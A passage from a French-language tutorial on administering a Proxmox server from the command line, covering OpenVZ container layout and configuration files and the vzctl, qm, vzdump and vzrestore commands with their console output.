drwxr-xr-x 5 root root 4096 Jan 2 12:02 template
drwxr-xr-x 2 root root 4096 Apr 3 11:30 vztmp
root@proxmox:/var/lib/vz# ls -l private/
total 12
drwxr-xr-x 20 root root 4096 Apr 4 05:38 100
drwxr-xr-x 20 root root 4096 Apr 3 11:36 102
root@proxmox:/var/lib/vz#
Nous retrouvons nos deux conteneurs, c’est-à-dire les machines OpenVZ, mais pas la
machine KVM. Si nous entrons dans le dossier 100 et que nous inspectons son contenu, nous
retrouvons l’arborescence de la machine virtuelle.
root@proxmox:/var/lib/vz# cd private/100
root@proxmox:/var/lib/vz/private/100# ls -l
total 72
drwxr-xr-x 2 root root 4096 Apr 3 08:57 bin
drwxr-xr-x 2 root root 4096 Sep 23 2012 boot
drwxr-xr-x 4 root root 4096 Apr 4 05:38 dev
drwxr-xr-x 57 root root 4096 Apr 4 05:48 etc
drwxr-xr-x 3 root root 4096 Apr 4 05:48 home
drwxr-xr-x 8 root root 4096 Oct 22 12:01 lib
drwxr-xr-x 2 root root 4096 Oct 22 11:58 media
drwxr-xr-x 2 root root 4096 Sep 23 2012 mnt
drwxr-xr-x 2 root root 4096 Oct 22 11:58 opt
drwxr-xr-x 2 root root 4096 Sep 23 2012 proc
drwx------ 2 root root 4096 Mar 31 13:44 root
drwxr-xr-x 2 root root 4096 Oct 22 12:01 sbin
drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux
drwxr-xr-x 2 root root 4096 Oct 22 11:58 srv
drwxr-xr-x 2 root root 4096 Mar 27 2012 sys
drwxrwxrwt 4 root root 4096 Apr 4 08:44 tmp
drwxr-xr-x 10 root root 4096 Oct 22 11:58 usr
drwxr-xr-x 14 root root 4096 Apr 4 05:27 var
root@proxmox:/var/lib/vz/private/100#
C’est l’un des principes d’OpenVZ. Nous pouvons travailler directement sur le disque de tous
les conteneurs OpenVZ sans même démarrer les machines, ou encore directement alors
qu’elles sont en fonctionnement. Ceci est très souple car il est possible de modifier les fichiers
de configuration des services sans même s’identifier sur la machine concernée.
Attention, le dossier /var/lib/vz/private/100 contient l’arborescence de la machine qui sera
montée dans /var/lib/vz/root/100 quand la machine sera démarrée.
Pour ce qui est de la machine KVM, nous trouvons une image de son disque dans
/var/lib/vz/images/500.
root@proxmox:~# ls -l /var/lib/vz/images/500
total 0
-rw-r--r-- 1 root root 10737418240 Apr 4 08:53 vm-500-disk-1.raw
root@proxmox:~#
L’image iso que nous avons déposée sur le serveur se trouve quant à elle dans
/var/lib/vz/template/iso.
root@proxmox:~# ls -l /var/lib/vz/template/iso/
total 616084
-rw------- 1 root root 630245376 Apr 1 05:51 WinXP3_VL.iso
root@proxmox:~#
Quant au modèle de la Debian-6.0, nous le trouvons dans /var/lib/vz/template/cache.
root@proxmox:~# ls -l /var/lib/vz/template/cache/
total 140744
-rw-r--r-- 1 root root 143972544 Oct 22 12:10 debian-6.0-
standard_6.0-6_i386.tar.gz
root@proxmox:~#
Nous ne pouvons pas ici détailler tout le contenu du disque dur du serveur mais seulement les
emplacements qui nous semblent les plus importants. Ce qui vient naturellement ensuite est
donc le dossier où est stockée la configuration des machines. Celle-ci se trouve dans /etc/pve,
ainsi que la configuration du serveur.
Dans le sous-dossier openvz, nous trouvons les deux fichiers de configuration de nos
conteneurs.
root@proxmox:~# ls -l /etc/pve
total 4
-rw-r----- 1 root www-data 451 Jan 2 12:04 authkey.pub
-rw-r----- 1 root www-data 13 Jan 2 12:03 datacenter.cfg
lrwxr-x--- 1 root www-data 0 Jan 1 1970 local -> nodes/proxmox
drwxr-x--- 2 root www-data 0 Jan 2 12:04 nodes
lrwxr-x--- 1 root www-data 0 Jan 1 1970 openvz ->
nodes/proxmox/openvz
drwx------ 2 root www-data 0 Jan 2 12:04 priv
-rw-r----- 1 root www-data 1533 Jan 2 12:04 pve-root-ca.pem
-rw-r----- 1 root www-data 1675 Jan 2 12:04 pve-www.key
lrwxr-x--- 1 root www-data 0 Jan 1 1970 qemu-server ->
nodes/proxmox/qemu-server
-rw-r----- 1 root www-data 139 Apr 1 10:22 storage.cfg
-rw-r----- 1 root www-data 54 Jan 2 18:23 user.cfg
-rw-r----- 1 root www-data 119 Jan 2 12:04 vzdump.cron
root@proxmox:~# ls /etc/pve/openvz/ -l
total 2
-rw-r----- 1 root www-data 966 Apr 3 11:20 100.conf
-rw-r----- 1 root www-data 968 Apr 3 11:36 102.conf
root@proxmox:~#
Inspectons par curiosité le fichier de configuration de la machine 100 avec notre éditeur
préféré. Voici son contenu :
ONBOOT="no"
PHYSPAGES="0:512M"
SWAPPAGES="0:512M"
KMEMSIZE="232M:256M"
DCACHESIZE="116M:128M"
LOCKEDPAGES="256M"
PRIVVMPAGES="unlimited"
SHMPAGES="unlimited"
NUMPROC="unlimited"
VMGUARPAGES="0:unlimited"
OOMGUARPAGES="0:unlimited"
NUMTCPSOCK="unlimited"
NUMFLOCK="unlimited"
NUMPTY="unlimited"
NUMSIGINFO="unlimited"
TCPSNDBUF="unlimited"
TCPRCVBUF="unlimited"
OTHERSOCKBUF="unlimited"
DGRAMRCVBUF="unlimited"
NUMOTHERSOCK="unlimited"
NUMFILE="unlimited"
NUMIPTENT="unlimited"
# Disk quota parameters (in form of softlimit:hardlimit)
DISKSPACE="4G:4613734"
DISKINODES="800000:880000"
QUOTATIME="0"
QUOTAUGIDLIMIT="0"
# CPU fair scheduler parameter
CPUUNITS="1000"
CPUS="1"
HOSTNAME="WEB1.Labo"
SEARCHDOMAIN="Labo"
NAMESERVER="8.8.8.8"
NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:AE,host_ifname=veth100.0,host
_mac=26:5F:0D:2B:4A:52,bridge=vmbr0"
VE_ROOT="/var/lib/vz/root/$VEID"
VE_PRIVATE="/var/lib/vz/private/100"
OSTEMPLATE="debian-6.0-standard_6.0-6_i386.tar.gz"
Nous constatons que nous retrouvons l’ensemble des paramètres que nous avons réglés à
l’aide de l’interface web.
Il est préférable de ne pas modifier les options manuellement dans le fichier, sauf dans des cas
particuliers. Nous verrons dans le point suivant qu’il existe des commandes spécialisées pour
cela.
Voilà pour les principaux dossiers. Nous constatons la souplesse d’OpenVZ. Voyons à
présent comment administrer les machines directement en ligne de commande sur le serveur.
c. Les commandes utiles
Nous partons du principe dans cette section que nous sommes connectés en console sur notre
serveur en tant qu’administrateur root. Nous avons donc face à nous une invite de commande
et allons explorer quelques éléments d’administration des machines virtuelles.
Il existe deux commandes principales : vzctl pour contrôler les machines d’OpenVZ et qm
pour les machines KVM. Mais avant de rentrer dans l’administration de celles-ci, il est
intéressant de pouvoir les lister. La commande vzlist nous permet de lister les conteneurs
OpenVZ actuellement en fonctionnement. Si nous voulons lister l’ensemble des conteneurs, il
faut ajouter l’option -a. Pour KVM, ce sera la commande qm list.
root@proxmox:~# vzlist
root@proxmox:~# vzlist -a
CTID NPROC STATUS IP_ADDR HOSTNAME
100 - stopped - WEB1.Labo
102 - stopped - WEB2
103 - stopped - WEB3
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
root@proxmox:~#
Nous visualisons bien l’ensemble de nos machines virtuelles et leur état actuel. Nous avons
aussi leur nom et leur ID.
Démarrons à présent la première machine WEB1.Labo. Celle-ci a pour ID 100 et c’est ce
paramètre qu’il faudra passer à la commande vzctl avec l’action souhaitée sur la VM. Ce sera
la même chose pour la machine KVM d’ID 500 dans laquelle nous avons installé un système
Windows en utilisant la commande qm. Voici ce que cela donne.
root@proxmox:~# vzctl start 100
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth100.0
Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
Container start in progress...
root@proxmox:~# vzlist
CTID NPROC STATUS IP_ADDR HOSTNAME
100 71 running - WEB1.Labo
root@proxmox:~# qm start 500
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 running 512 10.00
16881
root@proxmox:~#
Il est tout aussi facile de stopper ces machines avec les commandes :
vzctl stop 100
qm stop 101root@proxmox:~# vzctl stop 100
Stopping container ...
Container was stopped
Container is unmounted
root@proxmox:~# qm stop 500
root@proxmox:~#
Il est aussi très facile d’entrer dans une VM OpenVZ depuis le serveur. Nous avons déjà vu
que l’arborescence du disque était accessible, mais nous pouvons aller plus loin en
s’identifiant directement comme administrateur (root) sur une VM OpenVZ. Pour cela, il faut
utiliser la commande vzctl enter ID après avoir bien évidemment démarré la machine.
Voici un exemple :
root@proxmox:~# vzctl start 100
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth100.0
Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
Container start in progress...
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# more /etc/apt/sources.list
deb http://ftp.debian.org/debian squeeze main contrib
deb http://ftp.debian.org/debian squeeze-updates main contrib
deb http://security.debian.org squeeze/updates main contrib
Nous constatons que nous obtenons bien une invite de commande en tant qu’utilisateur root
sur la machine WEB1 et que celle-ci est bien une Debian squeeze comme l’indiquent les
dépôts déclarés dans son fichier sources.list.
Notre machine a normalement été déclarée avec une interface réseau en pont (Bridge), il est
donc possible de configurer celle-ci pour un accès Internet. Par exemple, si nous disposons
pour cette connexion d’un serveur DHCP, c’est alors très simple. Il nous est alors possible de
mettre à jour le système d’exploitation de la VM.
Par la suite, nous pourrons installer tous les services dont nous avons besoin. Cet accès à la
VM directement depuis une connexion SSH sur le serveur est bien plus souple que la console
Java de l’interface web. Mais il arrive parfois que nous n’ayons pas le choix. Réalisons la
manipulation que nous venons de décrire.
root@WEB1:/# dhclient eth0
root@WEB1:/# aptitude update
Hit http://ftp.debian.org squeeze Release.gpg
Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en
Ign http://ftp.debian.org/debian/ squeeze/main Translation-en
Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B]
Ign http://security.debian.org/ squeeze/updates/contrib
Translation-en
Ign http://security.debian.org/ squeeze/updates/main Translation-en
Get:2 http://ftp.debian.org squeeze-updates Release.gpg [836 B]
Ign http://ftp.debian.org/debian/ squeeze-updates/contrib
Translation-en
Ign http://ftp.debian.org/debian/ squeeze-updates/main
Translation-en
Hit http://ftp.debian.org squeeze Release
Get:3 http://security.debian.org squeeze/updates Release [87.0 kB]
Get:4 http://ftp.debian.org squeeze-updates Release [113 kB]
Get:5 http://security.debian.org squeeze/updates/main i386
Packages [386 kB]
Hit http://ftp.debian.org squeeze/main i386 Packages
Hit http://ftp.debian.org squeeze/contrib i386 Packages
Hit http://ftp.debian.org squeeze-updates/main i386
Packages/DiffIndex
Get:6 http://ftp.debian.org squeeze-updates/contrib i386 Packages
[20 B]
Get:7 http://ftp.debian.org squeeze-updates/main i386 Packages
[4493 B]
Get:8 http://security.debian.org squeeze/updates/contrib i386
Packages [621 B]
Fetched 593 kB in 1s (482 kB/s)
root@WEB1:/# aptitude full-upgrade
No packages will be installed, upgraded, or removed.
0 packages upgraded, 0 newly installed, 0 to remove and 0 not
upgraded.
Need to get 0 B of archives. After unpacking 0 B will be used.
root@WEB1:/#
Voilà, nous disposons d’une Debian Squeeze flambant neuve et prête à être utilisée.
La souplesse d’OpenVZ permet aussi de modifier la configuration des machines virtuelles
alors que celles-ci sont en fonctionnement. Si par exemple nous trouvons que la taille du
disque dur que nous avions initialement choisie est insuffisante, il est possible de l’augmenter
en une seule commande.
Dans la manipulation suivante, nous allons :
Visualiser la taille actuelle du disque dur de la WM d’ID 100.
Sortir de la VM.
Modifier la taille du disque en la montant à 6 Go.
Entrer à nouveau dans la VM et contrôler la nouvelle taille du disque.
Toutes ces opérations vont être effectuées sans arrêter la machine. Si des services étaient
fournis à des usagers, ceux-ci n’auraient subi aucune interruption de service.
La commande qui permet de modifier les paramètres de la machine est :
vzctl set $IDVM$ --$paramètre$ $valeur$ --$option$
Réalisons l’opération :
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/simfs 4.0G 440M 3.6G 11% /
tmpfs 256M 0 256M 0% /lib/init/rw
tmpfs 256M 0 256M 0% /dev/shm
root@WEB1:/# exit
logout
exited from CT 100
root@proxmox:~# vzctl set 100 --diskspace 6G:6G --save
CT configuration saved to /etc/pve/openvz/100.conf
root@proxmox:~# vzctl enter 100
entered into CT 100
root@WEB1:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/simfs 6.0G 440M 5.6G 8% /
tmpfs 256M 0 256M 0% /lib/init/rw
tmpfs 256M 0 256M 0% /dev/shm
root@WEB1:/#
Nous constatons bien que la taille du disque dur de notre VM vient de passer à 6 Go. L’option
--save passée en fin de commande indique que nous souhaitons conserver cette modification
dans le fichier de configuration. Ceci rendra pérenne cette nouvelle taille de disque. Cela veut
dire aussi qu’il est possible de changer temporairement la taille d’un disque mais de ne pas
conserver ce changement. Dans ce cas, le disque aura retrouvé sa taille initiale au prochain
redémarrage de la VM.
Pour la taille du disque, deux paramètres séparés par deux points ont été indiqués. C’est parce
qu’il existe deux limites de disque à indiquer : une limite logicielle (soft) et une limite
matérielle (hard). La différence, sans entrer dans les détails, est que la limite logicielle peut
être dépassée temporairement.
Il est possible de faire aussi des modifications sur la mémoire, le temps processeur alloué, le
nombre de cœurs de processeur, les interfaces réseau, etc. Il est impossible de voir toutes les
possibilités ici. Elles sont très nombreuses. De l’aide est disponible sur chaque option de
vzctl. Listons ces options :
root@proxmox:~# vzctl --help
vzctl version 4.0-4.git.162dded
Copyright (C) 2000-2012, Parallels, Inc.
This program may be distributed under the terms of the GNU GPL License.
Usage: vzctl [options] <command> <ctid> [parameters]
vzctl create <ctid> [--ostemplate <name>] [--config <name>]
[--layout ploop|simfs] [--hostname <name>] [--name <name>]
[--ipadd <addr>]
[--diskspace <kbytes>] [--private <path>] [--root <path>]
vzctl start <ctid> [--force] [--wait]
vzctl destroy | mount | umount | stop | restart | status <ctid>
vzctl quotaon | quotaoff | quotainit <ctid>
vzctl console <ctid> [ttyno]
vzctl enter <ctid> [--exec <command> [arg ...]]
vzctl exec | exec2 <ctid> <command> [arg ...]
vzctl runscript <ctid> <script>
vzctl chkpnt <ctid> [--dumpfile <name>]
vzctl restore <ctid> [--dumpfile <name>]
vzctl set <ctid> [--save] [--force] [--setmode restart|ignore]
[--ram <bytes>[KMG]] [--swap <bytes>[KMG]]
[--ipadd <addr>] [--ipdel <addr>|all] [--hostname <name>]
[--nameserver <addr>] [--searchdomain <name>]
[--onboot yes|no] [--bootorder <N>]
[--userpasswd <user>:<passwd>]
[--cpuunits <N>] [--cpulimit <N>] [--cpus <N>] [--cpumask <cpus>]
[--diskspace <soft>[:<hard>]] [--diskinodes <soft>[:<hard>]]
[--quotatime <N>] [--quotaugidlimit <N>] [--mount_opts
<opt>[,<opt>...]]
[--capability <name>:on|off ...]
[--devices b|c:major:minor|all:r|w|rw]
[--devnodes device:r|w|rw|none]
[--netif_add <ifname[,mac,host_ifname,host_mac,bridge]]>]
[--netif_del <ifname>]
[--applyconfig <name>] [--applyconfig_map <name>]
[--features <name:on|off>] [--name <vename>] [--ioprio <N>]
[--pci_add [<domain>:]<bus>:<slot>.<func>] [--pci_del <d:b:s.f>]
[--iptables <name>] [--disabled <yes|no>]
[UBC parameters]
UBC parameters (N - items, P - pages, B - bytes):
Two numbers divided by colon means barrier:limit.
In case the limit is not given it is set to the same value as the
barrier.
--numproc N[:N] --numtcpsock N[:N] --numothersock N[:N]
--vmguarpages P[:P] --kmemsize B[:B] --tcpsndbuf B[:B]
--tcprcvbuf B[:B] --othersockbuf B[:B] --dgramrcvbuf B[:B]
--oomguarpages P[:P] --lockedpages P[:P] --privvmpages P[:P]
--shmpages P[:P] --numfile N[:N] --numflock N[:N]
--numpty N[:N] --numsiginfo N[:N] --dcachesize N[:N]
--numiptent N[:N] --physpages P[:P] --avnumproc N[:N]
--swappages P[:P]
root@proxmox:~#
La dernière opération que nous allons voir avec la commande vzctl est la création d’un
conteneur. Pour pouvoir créer le conteneur, il faut régler un minimum d’informations comme
la taille du disque dur, le nombre maximal d’inodes, etc.
Le plus simple est de reprendre le fichier de configuration d’une machine similaire et
d’ajuster les nouveaux paramètres suivant ce que l’on désire.
Nous commençons par copier le fichier de configuration de la machine d’ID 100 dans
110.conf avec la commande suivante :
cp /etc/pve/openvz/100.conf /etc/pve/openvz/110.conf
Nous éditons ensuite ce nouveau fichier, avec nano par exemple, pour effectuer quelques
modifications. Voici le nouveau fichier de configuration pour la machine d’ID 110.
ONBOOT="no"
PHYSPAGES="0:512M"
SWAPPAGES="0:512M"
KMEMSIZE="232M:256M"
DCACHESIZE="116M:128M"
LOCKEDPAGES="256M"
PRIVVMPAGES="unlimited"
SHMPAGES="unlimited"
NUMPROC="unlimited"
VMGUARPAGES="0:unlimited"
OOMGUARPAGES="0:unlimited"
NUMTCPSOCK="unlimited"
NUMFLOCK="unlimited"
NUMPTY="unlimited"
NUMSIGINFO="unlimited"
TCPSNDBUF="unlimited"
TCPRCVBUF="unlimited"
OTHERSOCKBUF="unlimited"
DGRAMRCVBUF="unlimited"
NUMOTHERSOCK="unlimited"
NUMFILE="unlimited"
NUMIPTENT="unlimited"
# Disk quota parameters (in form of softlimit:hardlimit)
DISKSPACE="2097152:2097152"
DISKINODES="800000:880000"
QUOTATIME="0"
QUOTAUGIDLIMIT="0"
# CPU fair scheduler parameter
CPUUNITS="1000"
CPUS="1"
HOSTNAME="WEB10"
SEARCHDOMAIN="Labo"
NAMESERVER="8.8.8.8"
NETIF="ifname=eth0,mac=8A:F5:DE:2A:79:BB,host_ifname=veth110.0,
host_mac=26:5F:0D:2B:4A:55,bridge=vmbr0"
VE_ROOT="/var/lib/vz/root/110"
VE_PRIVATE="/var/lib/vz/private/110"
OSTEMPLATE="debian-6.0-standard_6.0-6_i386"
NAME="WEB3"
Les variables importantes qu’il faut absolument modifier pour éviter tout conflit entre les
machines sont :
HOSTNAME : que nous avons modifiée en WEB10.
NETIF : pour laquelle nous avons changé les deux MAC et surtout, nous avons
déclaré le pont en veth110.0.
VE_ROOT et VE_PRIVATE qui pointent vers les nouveaux dossiers avec un chemin
finissant par 110 pour rester cohérent avec l’ID de la machine.
NAME : qui a été ajouté et prend le nom WEB10.
Nous avons aussi modifié la variable DISKSPACE pour créer un disque de 2 Go, mais ce
n’était pas obligatoire. Voilà, tout est prêt pour créer la nouvelle machine, la démarrer puis
s’identifier comme administrateur sur celle-ci pour vérifier qu’elle fonctionne parfaitement.
root@proxmox:~# cp /etc/pve/openvz/103.conf
/etc/pve/openvz/110.conf
root@proxmox:~# nano /etc/pve/openvz/110.conf
root@proxmox:~# vzctl create 110 --ostemplate debian-6.0-
standard_6.0-6_i386 --hostname WEB10 --name WEB10
Name WEB10 assigned
Creating container private area (debian-6.0-standard_6.0-6_i386)
Performing postcreate actions
CT configuration saved to /etc/pve/openvz/110.conf
Container private area was created
root@proxmox:~# vzctl start 110
Starting container ...
Container is mounted
Setting CPU units: 1000
Setting CPUs: 1
Configure veth devices: veth110.0
Adding interface veth110.0 to bridge vmbr0 on CT0 for CT110
Container start in progress...
root@proxmox:~# vzctl enter 110
entered into CT 110
root@WEB10:/# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/simfs 2.0G 383M 1.7G 19% /
tmpfs 256M 0 256M 0% /lib/init/rw
tmpfs 256M 0 256M 0% /dev/shm
root@WEB10:/#
Nous n’irons pas plus loin avec la commande vzctl mais la puissance de celle-ci n’est plus à
démontrer.
Une autre opération qu’il est aussi intéressant de savoir faire en ligne de commande est la
sauvegarde et la restauration des VM. Pour cela, nous disposons de deux commandes :
vzdump : qui permet la sauvegarde d’une machine OpenVZ.
vzrestore : qui permet de restaurer une machine sauvegardée.
Effectuons la sauvegarde de la machine d’ID 100. Comme avec l’interface web, nous
choisissons de stopper la machine pour la sauvegarder et prendrons une compression GZIP.
Ces paramètres seront à passer en arguments à la commande ainsi que le dossier de
destination de la sauvegarde ; voici ce que cela donne :
root@proxmox:~# ls /var/lib/vz/dump/dump/
vzdump-openvz-100-2013_04_03-09_51_12.log vzdump-openvz-100-
2013_04_03-09_51_12.tar.gz
root@proxmox:~# vzdump 100 -compress gzip -dumpdir /va/lib/vz/dump
-mode stop
dumpdir ’/va/lib/vz/dump’ does not exist
root@proxmox:~# vzdump 100 -compress gzip -dumpdir
/var/lib/vz/dump/dump -mode stop
INFO: starting new backup job: vzdump 100 --dumpdir
/var/lib/vz/dump/dump --mode stop --compress gzip
INFO: Starting Backup of VM 100 (openvz)
INFO: CTID 100 exist mounted running
INFO: status = running
INFO: backup mode: stop
INFO: ionice priority: 7
INFO: stopping vm
INFO: Stopping container ...
INFO: Container was stopped
INFO: Container is unmounted
INFO: creating archive ’/var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz’
INFO: Total bytes written: 421713920 (403MiB, 11MiB/s)
INFO: archive file size: 170MB
INFO: delete old backup ’/var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_03-09_51_12.tar.gz’
INFO: CTID 100 exist unmounted down
INFO: restarting vm
INFO: Starting container ...
INFO: Container is mounted
INFO: Setting CPU units: 1000
INFO: Setting CPUs: 1
INFO: Configure veth devices: veth100.0
INFO: Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100
INFO: Container start in progress...
INFO: vm is online again after 44 seconds
INFO: Finished Backup of VM 100 (00:00:44)
INFO: Backup job finished successfully
root@proxmox:~# ls /var/lib/vz/dump/dump
vzdump-openvz-100-2013_04_04-10_04_22.log vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz
root@proxmox:~#
Nous constatons que notre nouvelle sauvegarde a effacé l’ancienne. Il faut donc prendre
garde. En effet, nous n’avons pas précisé l’option -maxfiles dans notre commande et celle-ci
est réglée par défaut à 1.
Pour restaurer la machine, rien de plus simple :
root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz 100 -force
cant overwrite mounted container
root@proxmox:~# vzctl stop 100
Stopping container ...
Container was stopped
Container is unmounted
root@proxmox:~# vzrestore /var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz 100 -force
you choose to force overwriting VPS config file, private and root
directories.
extracting archive ’/var/lib/vz/dump/dump/vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz’
tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_
contrib_binary-i386_Packages: time stamp 2013-04-04 16:01:14 is
21186.107918382 s in the future
tar: ./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_
Release: time stamp 2013-04-04 16:01:27 is 21199.106609008 s in the
future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_main_binary-i386_Packages: time stamp 2013-04-05 04:02:45
is 64477.105968429 s in the future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_Release.gpg: time stamp 2013-04-05 04:22:11 is
65643.105881268 s in the future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_Release: time stamp 2013-04-05 04:22:11 is 65643.104792032
s in the future
tar: ./var/lib/apt/lists/ftp.debian.org_debian_dists_squeeze-
updates_contrib_binary-i386_Packages: time stamp 2013-04-05
04:12:07 is 65039.101766534 s in the future
tar:
./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_main
_binary-i386_Packages: time stamp 2013-04-04 16:01:08 is
21180.07657332 s in the future
tar:
./var/lib/apt/lists/security.debian.org_dists_squeeze_updates_
Release.gpg: time stamp 2013-04-04 16:01:27 is 21199.074864738 s in
the future
Total bytes read: 421713920 (403MiB, 42MiB/s)
restore configuration to ’/etc/pve/nodes/proxmox/openvz/100.conf’
vzquota : (warning) Quota file exists, it will be overwritten
root@proxmox:~#
Nous avons volontairement fait deux erreurs dans les deux premières
commandes. Premièrement, nous constatons que si le conteneur existe, il faut forcer sa
restauration. Deuxièmement, il faut que le conteneur soit stoppé pour le restaurer.
Lors de cette opération dans l’interface web nous avions parlé du clonage d’une machine, ce
qui est tout simple en ligne de commande. Il faut tout simplement restaurer une sauvegarde
dans un autre conteneur et le tour est joué.
Pour le moment, nous nous sommes principalement intéressés aux conteneurs OpenVZ.
Passons à la gestion des machines KVM. Si nous regardons la liste des commandes de qm,
nous constatons qu’elles sont assez nombreuses.
root@proxmox:~# qm help
USAGE: qm <COMMAND> [ARGS] [OPTIONS]
qm config <vmid>
qm create <vmid> [OPTIONS]
qm delsnapshot <vmid> <snapname> [OPTIONS]
qm destroy <vmid> [OPTIONS]
qm list
qm migrate <vmid> <target> [OPTIONS]
qm reset <vmid> [OPTIONS]
qm resize <vmid> <disk> <size> [OPTIONS]
qm resume <vmid> [OPTIONS]
qm rollback <vmid> <snapname>
qm sendkey <vmid> <key> [OPTIONS]
qm set <vmid> [OPTIONS]
qm shutdown <vmid> [OPTIONS]
qm snapshot <vmid> <snapname> [OPTIONS]
qm start <vmid> [OPTIONS]
qm stop <vmid> [OPTIONS]
qm suspend <vmid> [OPTIONS]
qm template <vmid> [OPTIONS]
qm unlink <vmid> {<idlist>} [OPTIONS]
qm help [<cmd>] [OPTIONS]
qm monitor <vmid>
qm mtunnel
qm rescan [OPTIONS]
qm showcmd <vmid>
qm status <vmid> [OPTIONS]
qm unlock <vmid>
qm vncproxy <vmid>
qm wait <vmid> [OPTIONS]
root@proxmox:~#
Nous pouvons comme avec OpenVZ démarrer et arrêter les machines à l’aide des commandes
start et stop.
root@proxmox:~# qm status 500
status: stopped
root@proxmox:~# qm start 500
root@proxmox:~# qm status 500
status: running
root@proxmox:~# qm stop 500
root@proxmox:~#
Attention ici, l’option stop arrête brutalement la machine contrairement à OpenVZ ; ceci n’est
pas toujours recommandé. Il vaut mieux envoyer un signal d’arrêt à la machine avec la
commande shutdown.
Pour créer une machine KVM, il faut utiliser la commande qm create. Mais celle-ci dispose
d’un très grand nombre d’options. Il suffit de voir la commande qui permet de lancer la VM
pour s’en rendre compte :
root@proxmox:~# qm showcmd 500
/usr/bin/kvm -id 500 -chardev socket,id=qmp,path=/var/run/
qemu-server/500.qmp,server,nowait -mon chardev=qmp,mode=control
-vnc unix:/var/run/qemu-server/500.vnc,x509,password -pidfile
/var/run/qemu-server/500.pid -daemonize -name Win1 -smp
sockets=1,cores=1 -nodefaults -boot menu=on -vga cirrus -k fr
-m 512 -cpuunits 1000 -device piix3-usb-uhci,id=uhci,bus=pci.0,
addr=0x1.0x2 -device usb-tablet,id=tablet,bus=uhci.0,port=1
-device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3
-drive file=/var/lib/vz/template/iso/WinXP3_VL.iso,if=none,
id=drive-ide2,media=cdrom,aio=native
-device ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2,
bootindex=200 -drive file=/var/lib/vz/images/500/vm-500-
disk-1.raw,if=none,id=drive-ide0,aio=native,cache=none
-device ide-hd,bus=ide.0,unit=0,drive=drive-ide0,id=ide0,
bootindex=100 -netdev type=tap,id=net0,ifname=tap500i0,
script=/var/lib/qemu-server/pve-bridge -device
rtl8139,mac=82:EE:6A:BE:82:DA,netdev=net0,bus=pci.0,
addr=0x12,id=net0,bootindex=300 -rtc driftfix=slew,
base=localtime -machine accel=tcg
root@proxmox:~#
Pour ne pas faire d’erreur et obtenir une machine bien configurée, le plus simple est soit de
passer par l’interface web, soit de cloner une machine semblable à celle que nous voulons
créer et de modifier ses paramètres par la suite. Commençons par effectuer une sauvegarde de
la machine 500 :
root@proxmox:~# vzdump 500 -compress gzip -dumpdir
/var/lib/vz/dump/dump/ -mode stop
INFO: starting new backup job: vzdump 500 --dumpdir
/var/lib/vz/dump/dump/ --mode stop --compress gzip
INFO: Starting Backup of VM 500 (qemu)
INFO: status = stopped
INFO: backup mode: stop
INFO: ionice priority: 7
INFO: creating archive ’/var/lib/vz/dump/dump/vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz’
INFO: starting kvm to execute backup task
INFO: started backup task ’5fd8b493-2164-493e-889c-7f12036cb626’
INFO: status: 22% (2416574464/10737418240), sparse 22%
(2416570368), duration 3, 805/0 MB/s
INFO: status: 44% (4777705472/10737418240), sparse 44%
(4777701376), duration 6, 787/0 MB/s
INFO: status: 66% (7173570560/10737418240), sparse 66%
(7173566464), duration 9, 798/0 MB/s
INFO: status: 88% (9539878912/10737418240), sparse 88%
(9539874816), duration 12, 788/0 MB/s
INFO: status: 100% (10737418240/10737418240), sparse 99%
(10737414144), duration 14, 598/0 MB/s
INFO: transferred 10737 MB in 14 seconds (766 MB/s)
INFO: stopping kvm after backup task
INFO: archive file size: 402KB
INFO: Finished Backup of VM 500 (00:00:17)
INFO: Backup job finished successfully
root@proxmox:~# ls /var/lib/vz/dump/dump/ -lh
total 172M
-rw-r--r-- 1 root root 886 Apr 4 10:05 vzdump-openvz-100-
2013_04_04-10_04_22.log
-rw-r--r-- 1 root root 171M Apr 4 10:05 vzdump-openvz-100-
2013_04_04-10_04_22.tar.gz
-rw-r--r-- 1 root root 1.2K Apr 4 11:12 vzdump-qemu-500-
2013_04_04-11_12_15.log
-rw-r--r-- 1 root root 403K Apr 4 11:12 vzdump-qemu-500-
2013_04_04-11_12_15.vma.gz
root@proxmox:~#
Créons à présent une VM sans aucun paramètre :
root@proxmox:~# qm create 501
root@proxmox:~# ls /etc/pve/qemu-server
500.conf 501.conf
root@proxmox:~# more /etc/pve/qemu-server/501.conf
root@proxmox:~# qm list
VMID NAME STATUS MEM(MB) BOOTDISK(GB) PID
500 Win1 stopped 512 10.00 0
501 VM 501 stopped 0 0.00 0
